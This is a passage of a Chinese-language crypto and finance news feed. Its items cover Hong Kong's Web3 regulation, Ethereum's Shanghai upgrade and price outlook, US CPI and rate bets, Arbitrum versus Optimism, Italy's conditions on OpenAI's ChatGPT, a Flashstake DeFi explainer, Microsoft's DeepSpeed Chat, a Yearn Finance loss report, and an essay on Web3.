    从金融中心到Web3中心，香港准备好迎接“黄金时代”了吗？
    原文：《从金融中心到 web3 中心，香港的加密叙事能走多远？》 作者：一尔 出品：奔跑财经 近日，香港web3嘉年华开启，香港又一次吸引了全球行业的目光。如此声势浩大，再加上政府背书与鼎力支持，香港一时成为了风水宝地，势头已经压过新加坡。但在热闹背后，外界真正关注的是即将到来的web3新政，更受瞩目的是香港在web3领域的监管走向。 这两天有关香港web3嘉年华的一切消息，都是利好，“全球web3中心”的口号似乎指日可待。早在2022年11月，香港发布《有关虚拟资产在港发展的政策宣言》后，几百家加密公司总部就开始由新加坡迁回香港。除此之外，大量web3人才也开始从世界各地流入。加上香港作为“金融中心”，坐拥资本市场这个活水源头。人、钱、企业、流量都有了，万事俱备，似乎只等东风吹来。但只有监管新政落地了，我们才能知道香港的web3叙事会如何书写。 在全球趋势下，无论是哪个国家，加密的监管政策都在逐渐收紧，严厉的监管措施逐渐成为常态。 加密企业当前所在的几个热门国家中，新加坡当属“web3最友好国家之一”。但随着三箭资本爆仓、FTX的破产，许多总部设在新加坡的公司出了问题，这让有“全球加密中心”称号的新加坡也开始被质疑。在FTX崩盘之前，新加坡对加密行业的监管重点放在了洗钱和恐怖主义融资风险，而崩盘后，新加坡为了保护投资者，开始调整加密政策，以防范加密领域的金融隐患。2022年，新加坡的金融管理局就出台了一系列规定，严格限制加密货币的交易。 之前的新加坡是开放与包容，现在则更加趋向于理性。但理性和谨慎的回归，在许多人看来就是在阻止创新，许多加密企业也因此选择了离开。 亚洲地区除新加坡之外，处于加密赛道前列的还有日本和韩国。韩国由于Luna暴雷事件也开始了重拳监管，如今韩国正在加紧对加密货币进行立法。而日本则在4月6日，刚刚发布web3项目白皮书，该白皮书从NFT到DAO，为有关web3的一切事物都制定了监管提案，并强调自己“技术中立”和“创新”的态度。 而美国这个在加密领域影响力最大的国家，还尚未形成统一的监管架构，监管层面也还尚未形成共识。但即便如此，也不影响其频频加大监管力度。就在近一两个月内，币安被CFTC起诉，孙宇晨被SEC起诉。美国出现多起针对加密圈的监管和指控，甚至有人称这次美国对加密世界的打击是前所未有的。这一信号也让许多加密企业开始逃离美国，试图寻找更加安全的地方着陆。 混沌形势之中，香港成了加密公司瞄准的下一个栖息地。对于那些逃离的加密企业来说，香港即将出台的新政让他们看到了更多可能性。有的人希望借此实现自己的web3梦想，有的人则是想设计新的骗局圈钱。香港此时就像一块肥肉，每个人都揣着自己的小心思，虎视眈眈地盯着它。但是这块肉到底怎么分、如何分，还要看香港如何应对？ 早在2019年，甚至更早之前，香港曾是加密公司的青睐地，但香港的迟疑让新加坡夺得了先机。2021年新加坡颁布的《支付服务法》、《Crypto发售指南》和《金融综合法案》，带走了众多加密公司和人才。香港在这条路上失去了先机，但两年时间过去了，一个个暴雷、骗局让加密领域的形势逐渐清晰，香港的态度也从原来的观望开始转变。 正如近日火热的web3嘉年华大会上，香港特区政府财政司司长陈茂波所说，大浪淘沙过后，才是web3发展的最好时机。“过去一段时间虚拟资产巿场大幅波动，让人对Web3的前景感到怀疑。然而，这正是推动Web3发展的最好时机。在投机炒作退潮后，剩下来有实力的参与者会更专注比拼技术创新、实际应用和价值创造，贡献于提升实体经济的质量，这是互联网科技产业走过的历程。” 在形势逐渐明朗后，香港选择强势入局，但就目前来看，香港的web3之路依然充满了许多不确定。 首先，作为数字世界与现实世界的桥梁，建立稳定币对香港来说是第一大事。今年3月底，香港财库局局长许正宇也表示，香港金融管理局正在研究稳定币的监管制度，目标在2024年实施相关监管。同时，2023年6月1日，香港将正式使其所有公民的加密买卖、交易完全合法，香港也将推出基于亚洲货币的稳定币——数字港元。但目前香港对稳定币的监管态度还没有盖棺定论，这也为香港的web3走势增加了一份不确定。 而最大的不确定来源仍是香港web3的监管问题。香港特区政府财政司司长陈茂波表示，特区政府将采取“适当监管”和“推动发展”两者并重的策略，帮助香港的Web3走好创新发展道路。意在向外界传达香港“创新”和“稳慎”并行的信号。 其他地区监管力度不断加码、创新受限，让加密企业丧失信心，所以大家不免对香港的监管抱有期待。但香港在web3监管上能否走出独立路线，结果只有在实践后才能知道。而“适当监管”势必更加复杂，难度也更大，甚至容易滋生灰色地带。香港想要在web3之路上走的更远，需要在监管问题上领先，但也要慎重而行。 “未来如何监管”注定是香港绕不开的话题，香港同样面临着“创新与监管”的平衡困境。 对于整个行业来说，“三不管”意味着更大风险，消费者、投资者会遭受损失，正如之前的新加坡和韩国；而明文规定的监管，看起来是把风险关进了铁笼，但同样被关进笼子的还有web3世界需要的创造力，最终则会导致更多企业的离开。而后者也是加密公司逃到香港的原因。 对于加密行业来说，如何在不削弱web3的情况下，让监管和创新达到最理想的平衡，是监管问题的核心，也是此次香港web3最应关注的问题，它决定了加密企业能留在香港多久。 今年1月，香港财政司司长陈茂波称，香港政府期望为市场提供合适比例的监管。 而作为局外人，我们很难说出“合适比例”到底应该是多少，这更多还是取决于政策制定者对加密货币的看法。所以，在监管尺度的把握上，香港需要找到这个平衡点。 香港web3的未来会是什么样，这个问题尚且没有定论。但是可以预料到的是，在全球一体化趋势下，其他国家若强化监管，身处其中的香港很难逆趋势而行。加密行业的监管应该是全球监管叠加之下的结果，香港不可能成为监管的法外之地。一些寄希望于香港监管更宽松，能为自己创造更多灰色谋利空间的人会对此失望。 而要想让web3长久地在香港生根发芽，变成香港未来叙事的一部分，则要花更多心力寻找监管政策设计上的平衡点，而这就要看港府的智慧和投入。  ( 1 min )
    视频丨以太坊上海升级完成，是否代表着“世界计算机”已经建成？
    以太坊每一次的主网升级，都意味着通过自我的变革，迈入一个新的发展阶段。而此次合并完成后首次的上海Shapella升级，又将带着以太坊走向何方？让我们一起飞跃他的升级之路，探究每次升级背后的秘密～ 本视频长1分39秒，将带各位朋友简要回顾以太坊历史中的几次重大升级，包括柏林升级、伦敦升级等，请观看：  ( 1 min )
    行情：以太坊突破2000美元，近24小时涨幅约7%
    PANews 4月13日消息，数据显示，以太坊盘中突破2000美元，现报1996.17美元/枚，24小时涨幅近7%。  ( 1 min )
    CPI新低引各派预期升温！交易员押注美联储今年降息
    美国3月整体CPI增速进一步下降叠加鸽派美联储会议纪要，债券交易员进一步押注美联储将在今年年底前降息。 与美联储会期挂钩的互换合约显示，在CPI数据公布后，交易员们对美联储5月加息概率下降至略高于三分之二。 互换市场显示，12月美联储基准利率料比当前的 4.83%低50个基点，较上一日的降息幅度进一步加深。 交易员对美联储降息在即的预期令美债收益率下跌。 对货币政策更敏感的两年期美债收益率最深跌18个基点至3.88%。10年期基债收益率最深跌9个基点至3.34%，尾盘时跌3个基点并重回3.40%。 美联储会议纪要偏鸽派令美债收益率曲线继续趋陡。关键的两年/10年期息差利尾盘涨4个基点至-55.874个基点。 美国通胀连续第九个月放缓，3月CPI同比增长5%， 低于预期的5.1%，为2021年5月以来最小的同比涨幅。 不过整份报告实际上喜忧参半，3月核心CPI出现小幅反弹，同比增5.6%，高于前值的5.5%，住房成为了最重要的原因。 道明证券全球利率策略主管 Priya Misra 表示： “通胀仍然很高，但已经见顶，如果避险政策开始转向，美联储继续加息的部分压力将会下降。” 媒体分析指出，周三因交易员对美联储货币政策的不确定，导致美国国债出现了异常波动，今年以来美国国债一直显现剧烈波动。 但并非所有交易员都认为美联储将在年底降息，富国银行首席经济学家杰伊·布赖森表示，如果经济只是逐渐放缓，2023年特别是不太可能出现降息： “如果联储仍然需要将通胀率降回到2%，你不会在今年年底看到降息。因此，我对目前2年期收益率所在位置有点异议。”  ( 1 min )
    上海升级之后，Layer2龙头Arbitrum将继续领跑
    原文作者：Messari - Kunal Goel 编译：BlockTurbo Arbitrum在3月份推出了ARB代币空投，受到用户和支持者的热烈反馈。代币的推出将协议的去中心化控制权转移至由代币持有人治理的ArbitrumDAO。 自代币推出以来，情况发生了戏剧性的变化。第一个改进提案旨在设立Arbitrum基金会并为其分配资金，但由于透明度和不清晰的沟通问题，遭到代币持有人的拒绝。然而，该提案只是已经采取行动的批准，因此无法满足代币持有人的反对。担忧的代币持有人和社区成员提出了关于代币实用性的问题，以及为什么在没有现金流、不是Arbitrum的Gas代币，甚至可能没有完全的治理控制的情况下，ARB代币值得拥有数十亿美元的估值。 传统金融资产持有人（股权和债务）的权利和责任在全球范围内和发行者之间大体上是标准化的。然而，加密货币允许发行者为每个代币制定独特的权利和责任，甚至在类似的协议之间允许不同程度的价值捕获。这些权利和责任构成了代币经济模型的一部分，并在确定代币和协议的成功方面发挥着作用。 ARB是ArbitrumDAO的治理代币，对Arbitrum One和Nova网络行使重大控制权。根据协议文件，DAO控制以下内容： 虽然协议仍处于增长阶段，但协议和DAO受选举的超级用户组成的安全委员会保护，该委员会可以通过多重签名快速采取行动，应对任何潜在的漏洞或风险。DAO有权通过选举和罢免成员来改变安全委员会的组成。 在开曼群岛注册的法律实体Arbitrum Foundation也支持DAO。它承担着签订场外协议、将资金分配到协议的增长以及管理社交媒体等责任。DAO有权更改管理Arbitrum Foundation的董事。 代币推出时供应量为100亿个，每年最高通胀率为2%。在最初的分配中，总供应量的7.5％，即7.5亿个ARB代币，从DAO国库转移到了基金会的钱包中。初始代币分配中并未披露这 7.5 亿 ARB 的转移。这成为代币持有人的痛点，也是AIP-1被拒绝的主要原因。 AIP-1是已经采取行动的批准，引发了关于ARB代币是否具有任何治理能力的担忧。然而，代币持有人拒绝了该提案，导致协议设计的透明度和清晰度得到改进，正是代币的治理能力所在。基金会已经采取了多种措施来解决代币持有人的担忧，包括： 此外，社区成员Alex D.提出了AIP-1.05，要求基金会退还所有转移给它的资金。然而，根据当前的投票计数，这个提案很可能会失败。 由于活跃的治理带来的直接改进，对代币缺乏治理能力的担忧似乎没有实际依据。 第二层（L2）协议通过两个主要的收入流来产生现金流： 尽管该协议目前不会分配现金流，但这些现金流将积累到国库并用于进一步的增长。在现代金融中，产生自由现金流并将其再投资通常被认为是一种良好的方式，只要企业处于高增长期。 Layer-2 是高增长的行业，而加密货币行业也是高增长的。如果未来增长饱和，DAO可以投票分配其自由现金流。 ARB 可能永远不会成为 Arbitrum 上的 Gas 代币，但这并不需要成为其有价值的先决条件。随着它转向去中心化的排序器集，ARB 未来很可能会增加其他实用性。DAO 可能会强制要求 Sequencer 进行 ARB 质押，以经济上对齐激励，并允许在任何不当行为的情况下进行削减，类似于权益证明网络中的验证器。这将增加代币的价值，因为用户要求协议提供更高的安全性。 很明显，ARB 代币通过其现金流、治理和安全性具有价值。我们可以通过将关键指标与最接近的竞争对手 Optimism 进行比较来估计其价值。 2022 年，Arbitrum 和 Optimism 的日均交易量相似，分别为 153,000 和 155,000。然而，Optimism 的活动似乎主要是由于其激励计划的支持，在 2023 年 1 月结束，就经历了急剧下降。另一方面，由于空投的预期，Arbitrum 在 2023 年经历了急剧的增长，空投当天活动量达到了 270 万。截至目前，Arbitrum 的日均交易量为 663,000，是 Optimism 的两倍以上，后者的日均交易量为 302,000。 活跃地址的趋势与交易类似，Arbitrum 的每日活跃地址比 Optimism 更高。2022 年，Arbitrum 的日均活跃地址为 27,000，而 Optimism 为 17,000。截至目前，Arbitrum 有 164,000 个日均活跃地址，空投日峰值为 612,000。Optimism 在 2023 年的日均活跃地址为 48,000。 由于其更高的活动量，Arbitrum 产生的 Sequencer 收入和利润高于 Optimism。2022 年，Arbitrum 产生了 2200 万美元的Sequencer 收入和 600 万美元的利润，而 Optimism 分别产生了 1800 万美元和 400 万美元的Sequencer 收入和利润。 2023 年第一季度，Arbitrum 创造了 1000 万美元的收入和 400 万美元的利润，进一步超过了拥有 600 万美元收入和 100 万美元利润的 Optimism。 在 2022 年和 2023 年的大部分时间里，Arbitrum 的 TVL 高于 Optimism。Arbitrum 的主导地位在其代币推出后进一步增强，因为 ARB 已成为其 DeFi 协议中的重要抵押资产。 目前，Arbitrum 的 TVL 为 22 亿美元，而 Optimism 为 9 亿美元。 尽管 Arbitrum 的完全稀释市值高出 20％，但在所有关键估值指标上都显著偏低。尽管 Optimism 有一个激励计划，但 Arbitrum 在 2022 年的大部分时间内都能表现出色。现在有了 ARB 代币，Arbitrum 可以运行自己的激励计划，进一步扩大领先优势。 尽管 Arbitrum 和 Optimism 是紧密的竞争对手，但比较并不完全准确。以下是一些应该考虑的额外细节。 Arbitrum 在空投当天经历了活动量的大幅增加，包括更高的交易量、活跃用户、排序器收入和利润。由于分析的期间是 2023 年，这在某种程度上夸大了 Arbitrum 的采用度指标。 Optimism 在创建超级链生态系统方面处于早期领先地位，Coinbase 宣布正在 OP Stack 上构建。Arbitrum 也宣布了自己的 rollup 生态系统，Arbitrum Orbit，但尚未宣布任何重要的构建者。 ARB 代币对 Arbitrum 的治理控制权大于 OP 持有人对 Optimism 的控制。OP 持有人与其 Citizens' House 共享治理权，其控制从排序器产生的收入。因此，ARB 应该比 OP 从同样的收入中产生更多价值。 Arbitrum 是以太坊最大的 Layer-2 解决方案，已在所有指标上领先于其唯一的主要竞争对手 Optimism。DAO 和基金会应该忽略这个小的麻烦并共同采取行动，确保 Arbitrum 建立其早期领先优势。随着以太坊上海升级的结束，L2 之战还远没有结束。Optimism 也在计划进行自己的升级，并且更多的 rollup 发布即将到来。 -END-  ( 4 min )
    意大利数据监管机构要求OpenAI在4月30日之前遵守监管规定以解除ChatGPT限制
    PANews 4月13日消息，意大利数据监管机构要求OpenAI必须提高透明度，并发布全面概述其数据处理实践的信息通知。此外，声明还要求OpenAI立即实施年龄限制措施，以防止未成年人使用其技术，并采取更严格的年龄验证方法。OpenAI 必须在获得用户同意或依赖合法利益之间做出选择。此外，OpenAI 必须允许用户和非用户行使他们对个人数据的权利，包括要求更正 ChatGPT 生成的关于他们的任何错误信息或删除他们的数据。 监管机构要求 OpenAI 必须向用户提供反对以训练其算法为目的处理其数据的选项。此外，OpenAI 还需要在意大利开展宣传活动，告知个人他们的信息正在被处理以训练其 AI。意大利数据保护局 (Garante) 已将 OpenAI 完成大部分任务的截止日期定为 4 月 30 日。如果 OpenAI 采取必要措施，则临时限制暂停。 关于未成年人年龄的验证，除了立即实施用于注册服务的年龄请求系统外，管理局还命令 OpenAI 在 5 月 31 日之前提交行动计划，其中包括，最迟 2023 年 9 月 30 日，实施年龄验证系统，能够排除 13 岁以下用户和未征得父母同意的未成年人的访问权限。OpenAI 必须在 5 月 15 日之前通过广播、电视、报纸和互联网开展与 Garante 达成的信息宣传活动，以告知个人将其个人数据用于训练算法的情况。 上月底，因数据安全问题，意大利禁止使用ChatGPT并限制OpenAI处理意大利用户信息。  ( 2 min )
    一文读懂Flashstake：票据利息贴现产品，LSD资本放大器
    如果让你存入10000美元，然后每天领取1美元，你是否愿意？ 很多人都会不愿意，因为这并不是一笔划算的生意。 一方面来说，因为通货膨胀和折现率的关系，当前的货币价值会以每年3%的速度折损。举个例子，现在的100元，考虑到利率因素，在1年后差不多就是103.5元等值，换言之，1年后的100元放到现在看差不多值97元。 而每天领取1美元，意味着将近28年才能收回本金，这对用户来说是不公平的。用户出让的是当前货币的购买力，却被转嫁了货币贬值和通胀的成本。 另一方面，原因更加简单，存入10000美元，意味着自身手中流动性的极大缺口，不利于财富的复投增值。 以上假设是关于质押与流动性问题的简单探讨。之所以，会探讨这一问题，是因为当前行业，LSD概念火热，也正好对质押与流动性问题提出了解法。veDAO研究院在上一篇文章中也对LSD概念进行了相应阐述。 往期链接：https://mirror.xyz/ 现在我们换个方式来提问：如果让你存入10000美元，然后一次性预支自己一年的利息365美元，你是否愿意？这不是一个假设，而是当前LSD板块被看好的金融产品之一的Flashstake，它与Pendle Network、Gearbox、eigenLayer等近期获得了行业Smart Money的重点关注，并被认为会成为LSD板块重要的财富放大器。 Flashstake是一款新颖的金融基础设施，允许用户在设定的期限内以固定利率立即获得存放资产的收益。举个例子，如果一个用户选择将手中的100个stETH质押180天，那么Flashstake协议会立马给你2.82个wstETH，年化收益大概5.8%左右。 官网：https://flashstake.io/ Twitter：https://twitter.com/Flashstake 更多信息：https://app.vedao.com/projects/ 据白皮书介绍，FlashStake包含三个主要组件： FlashStake协议（FSP）：促进Time Vault策略的创建和活动。FSP是FlashStake的核心，主要有三个职责： 存储所有 Flashstaking活动的余额 部署和注册Time Vault Strategies (TVS) 创建和铸造基于时间的衍生品（TBD） Time Vault Strategies （TVS）：用户买卖和赚取TBD的自定义智能合约，可帮助人们买卖和赚取TBD。 凭借几乎无限的可能性，Time Vaults可以灵活地做出重要的Flashstaking决策。最终，Time Vault Strategies是Flashstake的复杂逻辑发生的地方。 以下是三个不同的人使用三种不同的Time Vault策略的示例。 Vitalik使用Lido Time Vault在他的stETH上产生前期收益 Stani使用Aave v2 Time Vault在他的USDC上产生前期收益 Hayden使用Uniswap v3 Time Vault在他的ETH/DAI LP代币上产生前期收益 基于时间的导数：（TBD）：代表任何数字资产的货币时间价值 当人们投入时间保险库策略时，会生成基于时间的代币。每个单独的Time Vault策略都有一个唯一分配的TBD。 示例：将USDC质押到Aave v2 Time Vault策略中生成fUSDC TBD 示例：将stETH质押到Lido Time Vault策略中生成fstETH TBD 示例：将ETH/DAI LP质押到Uniswap Time Vault中生成ETH/DAI TBD TBD是一种ERC-20代币，每当注册新策略时由Flash协议创建。 TBD特定于给定策略并代表收益池。这意味着100%的TBD总供应量可以在给定策略中赎回收益池中100%的总收益。   代币经济学 Flashstake的官方代币为FLASH，总供应量为1.5亿枚。无法铸造更多代币，目前尚未通过融资、公募和私募对外流出FLASH。Flashstake建立在以前版本的基础上，由Blockzero Labs及其社区推动。大约三分之一 (33.83%) 被分配回Blockzero生态系统，使Flashstake的开发成为可能：其中，DAO Treasury分配15.17%；DAO Members分配18.66%。 其余三分之二 (66.17%) 则分配给了Flashstake Treasury用于各种项目活动：其中，协议增长预算分配38.84%；Flash staking预算分配12.34%；核心贡献者预算分配15%。 Flashstake玩法 Flashstake被戏称为利息的时间旅行虫洞。对于用户而言，FLashstake允许任何人在今天购买、出售并赚取质押资金的潜在未来价值。而用户只需要完成三个步骤：选择想要质押的数量；选择想要质押的时间；然后提前预支利息。 换句话说，Flashstake可以解锁你的即期收益，这或许是该项目在LSD赛道得到重视的原因：对于LSD用户而言，质押资金的流动性得到解放还不够，还需要Flashstake来为资金带来更多短期价值。 FLashstake中有两种质押方式，分别对应不同情绪面的用户群体。 其中，第一种质押方式，就是我们寻常所理解的Stake： 该质押模式下，用户体验和其他质押产品一致，用户将本金投入Flashstake，后者将用户资金投入质押池，通过协议策略帮用户赚取更多收益。 另一种质押模式，就是Flash stake这也是该产品的特色：用户将本金投入FlashStake后，马上获得一定期限收益的刚兑。 值得注意的是，用户所获刚兑的利息并不是凭空产生的，而是依据用户假设采用普通Stake，在一定时间内所应获得的实际利润兑付给用户的。而这部分的利润，来自于其他采用普通Stake用户本身。作为补偿，stake用户可以获得Flashstake用户质押资产质押时间内的收益。 正如推特博主@nanbeiblock所言，采用Flash stake用户本质在做空收益率，而stake用户在做多收益率。 对于一些DeFi用户来说，这可以带来很多好处。首先，用户可以获得更高的年化。 或许有人会问，我存入100ETH，只能立马拿到2.82wstETH，尽管不损失本金，但对于流动性依旧是一个极大的压缩，且不到3%的年化也并不性感。 但事实上，帐并不能这么算，以存入100ETH为例，存入1年，8.9%的APY意味着用户能获得15818美元USDC。如果再将这部分资产重复执行Flashstake策略，则能够获得8.9%+8.9*8.9%=9.69%，接近10%。而依赖于抵押物本身的可生息逻辑，那这个协议的TVL就能跑得很快，最佳方式就是存入LP。 其次，用户的Flash Stake行为也会获得协议代币FLASH的奖励。与Lido Finance等其他以太坊质押协议不同，奖励的支付日期和原始金额是确定的。如果用户不立即出售您的FLASH代币以获取利润，便可以使用它们提前取回原始存款。用户也不必担心存入的代币会被清算，就像在Aave或Compound上一样，因为Flashstake不是借贷协议。 然而，整个事情并非完全没有缺点。最重要的是，FLASH代币缺乏流动性是一种经济风险，如果你想在去中心化交易所大量兑换或出售它们，交易时就会面临价格下跌的威胁（滑点）。 许多用户可能会决定在闪电质押后出售代币以实现其回报。FLASH代币的大量销售也会降低仍然持有代币或以其他方式使用代币的质押者的回报。 最后，就是Flashstake与其他DeFi产品共同构成的金融乐高效应。 譬如Pendle+Flashstake。Pendle Finance将固定收益带入DeFi收益，创建了一个收益市场，它允许用户将未来的收益进行代币化和销售Flashstake则可以解锁你的即期收益，为用户提供更高的年化收益。 第一步：在Flashstake上锁定GLP，提前领取22.3%的即期利息。（一般即期利息会低于对应Stake时间所获利息，100天Flashstake＜100天Stake。此举可以视为放弃100天长尾利息来立即获取较低的即期利息。） 第二步：去Pendle上购买YT-GLP（利息权证），这将让你的YT-GLP免除零利率的亏损。（Pendle上的YT-GLP票据让用户有权在364天后刚性获得1个GLP。换言之，目前玩家持仓为FlashStake上100%GLP+Pendle上22.3%预期GLP。） 关于Pendle的原理，VeDAO研究院将在下一篇文章中具体阐述。 之所以会有这样的套利窗口，是因为Flashstake的固定APY一直高于Pendle。Pendle拥有最深的 GLP收益率交易市场，因此投机GLP收益率的新途径将使这种收益率套利成为可能。 总体而言，Flashstake协议有很多用例。 随着ETH升级的到来和与更多质押代币（如GLP）的集成，FlashStake很有可能成为LSD赛道的新星。  ( 2 min )
    微软宣布开源Deep Speed Chat，帮助用户训练类ChatGPT等大语言模型
    PANews 4月13日消息，微软宣布开源Deep Speed Chat，帮助用户训练类ChatGPT等大语言模型，使得人人都能拥有自己的ChatGPT。 据悉，Deep Speed Chat是基于微软Deep Speed深度学习优化库开发而成，具备训练、强化推理等功能，还使用了RLHF（人工反馈机制的强化学习）技术，可将训练速度提升15倍以上，成本却大幅度降低。例如，一个130亿参数的类ChatGPT模型，只需1.25小时就能完成训练。  ( 1 min )
    Yearn Finance：Yearn v2保险库似乎未受攻击事件影响，正调查此事
    PANews 4月13日消息，Yearn Finance转发了该协议开发人员@storming0x的推文，该推文称：“目前已知的问题似乎与2020年推出的Yearn遗留协议和流动性池无关。Yearn v2保险库似乎没有受到影响。Yearn贡献者正在调查。” 此外，据派盾最新统计，Yearn Finance在今日的攻击事件中已损失约1160万美元。  ( 1 min )
    Twitter将通过与eToro合作让用户交易加密货币和股票等金融资产
    PANews 4月13日消息，据CNBC报道，Twitter将通过与多资产投资平台eToro合作，让用户访问股票、加密货币和其他金融资产。eToro表示，从周四开始，Twitter应用程序将推出一系列新功能：用户可以查看市场图表；从eToro买卖股票和其他资产；并查看更多金融工具的市场数据。 eToro发言人表示，通过与eToro的合作，Twitter的现金标签将扩大到涵盖更多的工具和资产类别。用户还可以点击一个“查看eToro”的按钮，进入eToro的网站，然后在其平台上买卖资产。eToro使用TradingView作为其市场数据合作伙伴。 此前消息，推特公司现已并入名为X Corp.的实体公司，马斯克并未公布本次合并，但其此前曾表示将推特打造成名为X的超级应用程序，类似于微信。  ( 1 min )
    上海升级后，各方对于ETH未来走势观点不一
    原文：《Shapella 升级后，行业专家对以太坊后续走势看法不一》 撰文：Mary Liu，比推 BitpushNews 加密社区期待已久的以太坊 Shapella 升级终于完成。 比推终端数据显示，截至北京时间 4 月 13 日 6:30 AM，以太坊的交易价格为 1,917 美元，过去 24 小时波动率 1.25%，在 1,863.37 美元和 1927.35 美元区间窄幅震荡，行情变化不大。交易员仍在分析当 1800 万枚质押的以太坊最终进入市场时会发生什么。 一些观察人士预计，随着用户清算其持有的资产，以太坊价格在升级后会暴跌，而其他人则认为抛售压力的预期上升已经被消化，市场将在升级完成后因经典的「Buy the Rumor， Sell the News」（买谣言、卖新闻）反弹。 区块链分析公司 Glassnode 的一份报告表示，以太坊上海升级后可能出现约 3 亿美元的 ETH 抛压，这听起来可能很多，但根据 Glassnode 认为，这种抛售压力可以很快被吸收，分析师表示：「即使在提取和出售最大数量的奖励和质押的极端情况下，卖方的交易量仍然小于交易所平均每周流入量。因此，结论是，即使是最极端的情况也会对 ETH 的价格产生可接受的影响。」 根据 Glassnode 的说法，由于以太坊协议对每天解锁质押的 ETH 数量有限制，因此只有 70,000 ETH（约 1.33 亿美元）「实际上会变成流动性」。 根据 Blockworks Research 的数据，截至美国东部时间周三中午， 只有 1.3% 的以太坊验证者（即 2,400 人）称其退出了区块链质押。Blockworks Research 写道：「这可能表明几乎没有退出的意愿，或者大多数人都在等到升级后」。 包括 Galaxy Digital 在内的多位行业专家近日表示，部分提款的抛售压力将在数日内分散。 Galaxy Digital 分析师在本月初发布的一份报告中表示：「我们预计将售出 553,650 ETH。在 7 天内摊销，这相当于一周内每天 ETH 交易量（包括现货和永续合约交易量）的约 1%，根据广泛的风险环境和上海升级期间以太坊的整体流动性，我们的看法介于无影响~略微看跌之间」。 加密托管和质押平台 Allnodes 首席增长官 Robert Ellison 对 Coindesk 表示：「根本没有理由或情绪急于退出 ETH，因为大多数利益相关者对以太坊的长期生存能力持乐观态度，并将其视为一项长期承诺……目前等待激活的验证器数量超过了退出队列。 任何短期波动都将非常短暂，这主要是由于 Kraken 等机构的承诺，由于监管问题，他们不得不。 即使是在像 Kraken 等机构取消质押服务的情况下，这些利益相关者也会转移到其他服务，如 Allnodes 或 Rocketpool。」 QCP Capital 表示情况并不乐观，其团队在 Telegram 更新中表示：我们看不到这一事件的看涨情况是什么，因为排在队伍前面的人可能会卖出现货，而排在后面的人如果还没有这样做的话，将通过永续合约 / 期货进行对冲。由于预期这一事件，空头已经开始行动，最近几周 ETH 表现不及 BTC。ETH/BTC 突破 0.658 的关键支撑位，并有可能回到 0.0553，因为在 Shapella 导致 ETH 进一步看跌价格行动后的几天里，流动性本就不够深厚的市场的现货卖压持续存在，这也可能拖累大盘」。 Wave Digital Asset 去中心化金融负责人 Henry Elder 认为，此次升级是以太坊和 Lido 等流动性质押解决方案治理代币的「卖新闻」事件，自 1 月初以来，由于硬分叉预期，这些平台代币一直在上涨。 比推终端数据显示，截至发稿时，以太坊的交易价格接近 1,910 美元，年初至今上涨约 60%。Lido Finance 的治理代币 LDO 自年初以来上涨了 26%，Lido 是最大的流动性质押协议，其平台上拥有约 84 亿美元的质押以太坊，竞争对手 Rocket Pool 的 RPL 自 1 月以来上涨了 70%。 尽管以太坊今年取得了两位数的涨幅，但表现远不及市场领导者比特币，比特币今年上涨了 70% 以上。 短期和长期趋势是不同的，加密对冲基金 Globe 3 Capital 首席投资官 Matt Lason 在其博客中表示，尽管 ETH 价格可能会下跌，但它应该是暂时的，而且没有一些人预测的那么严重。Lason 表示，他预计 ETH 到今年年底将达到 3,300 美元，理由是机构对该资产的需求将增加。 根据加密对冲基金公司 Nickel Digital Asset Management 2 月份的一项调查，在 200 家接受调查的机构中，有五分之二管理着总计 2.85 万亿美元的资产，预计以太坊的价格到年底将超过 2,000 美元。  ( 3 min )
    怯魅Web3：互联网的答案，新经济的引擎
    作者：郑金城 新跃社科大学研究员&Biteye、Mandala Ventures 建设者&Ocean Views 专栏作家，李国权 新跃社科大学教授&新加坡经济协会副会长&全球金融科技学院主席 4月12日，香港会议展览中心人潮涌动，汇聚了港府官员、研究学者、投资机构、金融科技创业者和众多Web3爱好者。他们来自世界各地，只为参与2023年香港Web3嘉年华，共同见证香港金融史上的又一个里程碑。 Web3的魅力究竟是什么，让各界人士为之倾倒，香港各大会议厅、大街小巷充满了对Web3的探讨和热议？答案很明确：Web3是更好互联网的答案，是后疫情时代新经济的引擎，让人们对未来充满了信心和期待。 根据 Hootsuite 7月份的数据，全球有 50.3 亿互联网用户，相当于总人口的 63.1%。互联网用户仍然在以每年约 4% 的速度增长。但人们在享受互联网便利的同时，也失去了隐私权和数据所有权。一些互联网巨头垄断了的市场，可以决定用户的使用权限。 于是人们开始寻找更好的互联网，而 Web3 是目前最活跃、最成功的解决方案。与现有中心化互联网不同的是 Web3 拥抱去中心化，将权利从公司归还到用户的手中，让用户来共同拥有和运营互联网。 在Web3时代，数据将被永久地去中心化储存在多个节点，不可篡改也无法窃取，人们可以自由地在平台上表达观点，隐私安全得到保护。虚拟经济崛起且可持续，人们可以有另一个数字身份在虚拟空间里工作、学习、社交，超越时空的阻碍，满足精神和物质需求。基于区块链智能合约的 DAO 会渐渐成为替代公司制度的可选组织形式，成员众筹、众智，个人利益与组织利益达到高度一致，保证组织的公平。 Web3 致力于解决互联网的很多现存问题。在我们介绍 Web3 之前，先看看互联网的发展进程。现在行业内对 Web 的定义和理解混乱，很多从业者对不同阶段的 Web 没有较为清楚的理解，造成交流上的障碍，甚至影响了投资的方向和产品发展路线。所以笔者结合研究机构 Messari 研究员 Eshita 对互联网不同阶段的定义，提出 Web2.0+ 和 Web3+ 两个新定义，以期给行业提供一个较为清晰的参考。 Eshita认为可以分为 “只读” 的Web1 ，“读+写” 的 Web2 ，“读+写+拥有” 的Web3 。 1989年，欧洲核研究组织（CERN）的 Tim Berners - Lee 发明了现在被定义为 Web1 的万维网。根据维基百科的定义，这是一个透过互联网访问的，由许多互相链接的超文本组成的资讯系统。 1990 年，第一个网页浏览器诞生。1991 年，网页浏览器向公众开放。从此，万维网成为人们浏览资讯的重要工具。Web1 主要是由专业的作家和记者在静态网页进行单向信息传输。互联网用户在这期间的活动主要是浏览网页信息，很少发表评论或者进行内容创作。 Web1 大致从 1990 年到2004年。这期间的互联网服务建立在由互联网社区共同控制的开放协议之上。Netscape，Yahoo 是这期间具有代表性的公司。 Web 2 这个词由 Darcy DiNucci 在1999 年发明，由 Tim O'Reilly 进行普及。Web1的内容审查相对 Web2 较少，由少数互联网公司控制内容，因此人们开始对信息的可信度提出质疑，开始追求表达的机会。2004年，随着社交媒体平台的出现，Web2，也就是我们现在正处于的互联网阶段开始了。互联网科技公司提供了比开放协议更好的软件和服务。用户开始从万维网等开放协议转移到能提供免费服务的中心化服务平台。智能手机的爆炸式增长加速了这一进程。 值得一提的是，Web2 更多的是强调互联网活动方式的改变。与 Web1 时期只由公司向用户提供内容不同， Web2 公司也分享由用户产生的内容，用户与用户之间可以进行互动，例如发帖、点赞、评论。用户在 Web2 